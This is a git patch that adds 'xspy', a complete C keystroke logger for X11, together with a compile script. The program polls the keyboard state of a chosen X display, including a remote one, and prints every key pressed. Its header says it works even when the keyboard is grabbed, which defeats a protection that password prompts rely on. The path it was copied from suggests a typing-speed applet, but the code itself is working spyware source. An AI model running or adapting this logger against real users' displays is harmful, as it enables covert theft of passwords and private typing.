From 2ad20a7235c276a3b265591bda9539e659f61083 Mon Sep 17 00:00:00 2001
From: Antti K
Date: Sat, 26 Jul 2014 13:42:31 +0200
Subject: Init

Straight from https://www.eigenheimstrasse.de/~ben/keyspeedapplet/xspy.c
---
 compile |   1 +
 xspy.c  | 271 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 272 insertions(+)
 create mode 100755 compile
 create mode 100644 xspy.c

diff --git a/compile b/compile
new file mode 100755
index 0000000..9fde93e
--- /dev/null
+++ b/compile
@@ -0,0 +1 @@
+clang -o xspy -lX11 xspy.c
diff --git a/xspy.c b/xspy.c
new file mode 100644
index 0000000..c3b790d
--- /dev/null
+++ b/xspy.c
@@ -0,0 +1,271 @@
+// to compile run "gcc -o xspy -lX11 xspy.c"
+/*
+   xspy
+   Jon A. Maxwell (JAM)
+   jmaxwell@acm.vt.edu
+   Monitors keystrokes even the keyboard is grabbed.
+*/
+
+
+/*
+   xspy polls the keyboard to determine the state of all keys on
+   the keyboard.  By comparing results it determines which key has
+   been pressed and what modifiers are in use.  In this way it
+   echos to the user all keystrokes typed.
+
+   xspy is freely distributable, provided the source remains intact.
+*/
+
+#include <X11/Xlib.h>
+#include <X11/X.h>
+
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#define VERSION "1.0c"
+#define DEFAULT_DISPLAY ":0"
+#define DEFAULT_DELAY   10000
+#define BIT(c, x)   ( c[x/8]&(1<<(x%8)) )
+#define TRUE    1
+#define FALSE   0
+
+#define KEYSYM_STRLEN   64
+
+#define SHIFT_DOWN  1
+#define LOCK_DOWN   5
+#define CONTROL_DOWN    3
+#define ISO3_DOWN    4
+#define MODE_DOWN    5
+
+/* I think it is pretty standard */
+#define SHIFT_INDEX 1  /*index for XKeycodeToKeySym(), for shifted keys*/
+#define MODE_INDEX 2
+#define MODESHIFT_INDEX 3
+#define ISO3_INDEX 4 //TODO geht leider nicht??
+#define ISO3SHIFT_INDEX 4
+
+/* Global variables */
+extern Display *disp;
+extern int PrintUp;
+
+Display *disp;
+int PrintUp  =FALSE;
+
+char *KeyCodeToStr(int code, int down, int mod);
+
+int usage() {
+   printf("%s\n%s\n%s\n%s\n%s%s%s\n",
+          "USAGE: xspy -display <display> -delay <usecs> -up",
+          "       Options: display, specifies an X display.",
+          "           delay, determines the polling frequency (.1 sec is 100000 usecs)",
+          "           up, gives up transitions for some keys.",
+          "       Version ",VERSION, ", by JAM");
+   exit(0);
+}
+
+
+
+int main(int argc, char *argv[]) {
+   char    *hostname=DEFAULT_DISPLAY,
+           *char_ptr,
+           buf1[32],   buf2[32],
+           *keys,
+           *saved;
+   int i,  delay=DEFAULT_DELAY;
+
+   /* get args */
+   for (i=1; i<argc; i++) {
+      if (!strcmp(argv[i], "-help")) usage();
+      else if (!strcmp(argv[i], "-display")) {
+         i++;
+         hostname=argv[i];
+      }
+      else if (!strcmp(argv[i], "-delay")) {
+         i++;
+         delay=atoi(argv[i]);
+      }
+      else if (!strcmp(argv[i], "-up"))   {PrintUp  =TRUE;}
+      else usage();
+   }
+
+   /* setup Xwindows */
+   disp=XOpenDisplay(hostname);
+   if (NULL==disp) {
+      fprintf(stderr, "Cannot open X display: %s\n", hostname);
+      exit(1);
+   }
+   XSynchronize(disp, TRUE);
+
+   /* setup buffers */
+   saved=buf1; keys=buf2;
+   XQueryKeymap(disp, saved);
+
+   while (1) {
+      /* find changed keys */
+      XQueryKeymap(disp, keys);
+      for (i=0; i<32*8; i++) {
+         if (BIT(keys, i)!=BIT(saved, i)) {
+            register char *str;
+            str=(char *)KeyCodeToStr(i, BIT(keys, i), KeyModifiers(keys));
+            if (BIT(keys, i)!=0 || PrintUp) printf("%s\n",str);
+            fflush(stdout); /* in case user is writing to a pipe */
+         }
+      }
+
+      /* swap buffers */
+      char_ptr=saved;
+      saved=keys;
+      keys=char_ptr;
+
+      usleep(delay);
+   }
+}
+
+
+/* This part takes the keycode and makes an output string. */
+
+/*
+   Have a keycode, Look up keysym for it.
+   Convert keysym into its string representation.
+   if string is more than one character try to reduce it to one.
+   if string still is more than one character, put it into the form
+   (+string) or (-string) depending on whether the key is up or down.
+   print out the string.
+*/
+
+struct conv {char from[20], to[5];} conv_table[] = {
+   /* shift & control replaced with nothing, since they are appearent
+      from the output */
+   {"return",""},    {"escape","^["},    {"delete", "^H"},
+   {"shift",""},       {"control",""},     {"tab","\t"},
+   {"space", " "},     {"exclam", "!"},    {"quotedbl", "\""}, 
+   {"numbersign", "#"},{"dollar", "$"},    {"percent", "%"},
+   {"ampersand", "&"}, {"apostrophe", "'"},{"parenleft", "("}, 
+   {"parenright", ")"},{"asterisk", "*"},  {"plus", "+"},
+   {"comma", ","},     {"minus", "-"},     {"period", "."},    
+   {"slash", "/"},     {"colon", ":"},     {"semicolon", ";"}, 
+   {"less", "<"},      {"equal", "="},     {"greater", ">"},   
+   {"question", "?"},  {"at", "@"},        {"bracketleft", "["},
+   {"backslash", "\\"},{"bracketright", "]"},{"asciicircum", "^"},   
+   {"underscore", "_"},{"grave", "`"},     {"braceleft", "{"}, 
+   {"bar", "|"},       {"braceright", "}"},{"asciitilde", "~"},    
+   {"odiaeresis","ö"},{"udiaeresis","ü"},{"adiaeresis","ä"},{"",""}
+};
+
+int StrToChar(char *data) {
+   int i=0;
+   while (conv_table[i].from[0]!=0 || conv_table[i].to[0]!=0) {
+      if (!strncasecmp(data,conv_table[i].from,
+                       strlen(conv_table[i].from)) ) {
+         strcpy(data,  conv_table[i].to);
+         return TRUE;
+      }
+      i++;
+   }
+   return FALSE;
+}
+
+char *KeyCodeToStr(int code, int down, int mod) {
+   static char *str, buf[KEYSYM_STRLEN+1];
+   int index;
+   KeySym  keysym;
+   /* get the keysym for the appropriate case */
+	switch (mod) {
+		case SHIFT_DOWN:
+			index=SHIFT_INDEX;
+			break;
+		case ISO3_DOWN:
+			index=ISO3_INDEX;
+			break;
+		case MODE_DOWN:
+			index=MODE_INDEX;
+			break;
+		default:
+			index=0;
+	}
+
+
+   keysym=XKeycodeToKeysym(disp, code, index);
+   if (NoSymbol==keysym) return "";
+
+   /* convert keysym to a string, copy it to a local area */
+   str=XKeysymToString(keysym);
+
+   if (strcmp(str,"ISO_Level3_Shift") == 0) {
+		keysym=XKeycodeToKeysym(disp, code, ISO3_INDEX);
+		str=XKeysymToString(keysym);
+   }
+
+   if (NULL==str) return "";
+   strncpy(buf, str, KEYSYM_STRLEN); buf[KEYSYM_STRLEN]=0;
+
+   /* try to reduce strings to character equivalents */
+   if (buf[1]!=0 && !StrToChar(buf)) {
+	if (strcmp(buf, "Caps_Lock") == 0) return "";
+      /* still a string, so put it in form (+str) or (-str) */
+      if (down) strcpy(buf, "(+");
+      else      strcpy(buf, "(-");
+      strcat(buf, str);
+      strcat(buf, ")");
+      return buf;
+   }
+   if (buf[0]==0) return "";
+   if (mod==CONTROL_DOWN) {
+      buf[2]=0;
+      buf[1]=toupper(buf[0]);
+      buf[0]='^';
+   }
+   if (mod==LOCK_DOWN) {buf[0]=toupper(buf[0]);}
+   return buf;
+}
+
+
+/* returns which modifier is down, shift/caps or control */
+int KeyModifiers(char *keys) {
+   static int setup=TRUE;
+   static int width;
+   static XModifierKeymap *mmap;
+   int i;
+
+   if (setup) {
+      setup=FALSE;
+      mmap=XGetModifierMapping(disp);
+      width=mmap->max_keypermod;
+   }
+   for (i=0; i<width; i++) {
+      KeyCode code;
+
+      code=mmap->modifiermap[ControlMapIndex*width+i];
+      if (code && 0!=BIT(keys, code)) {return CONTROL_DOWN;}
+
+      code=mmap->modifiermap[ShiftMapIndex*width  +i];
+      if (code && 0!=BIT(keys, code)) {return SHIFT_DOWN;}
+
+      code=mmap->modifiermap[LockMapIndex*width   +i];
+      if (code && 0!=BIT(keys, code)) {return LOCK_DOWN;}
+      
+			code=mmap->modifiermap[Mod3MapIndex*width   +i];
+      if (code && 0!=BIT(keys, code)) {return ISO3_DOWN;}
+      
+			code=mmap->modifiermap[Mod5MapIndex*width   +i];
+      if (code && 0!=BIT(keys, code)) {return MODE_DOWN;}
+   }
+   return 0;
+}
+
+
+/* if usleep is missing
+
+include <sys/types.h>
+include <sys/time.h>
+
+void usleep(x) {
+   struct timeval  time;
+
+   time.tv_sec= x/1000000;
+   time.tv_usec=x%1000000;
+   select(0, NULL, NULL, NULL, &time);
+}
+
+*/
-- 
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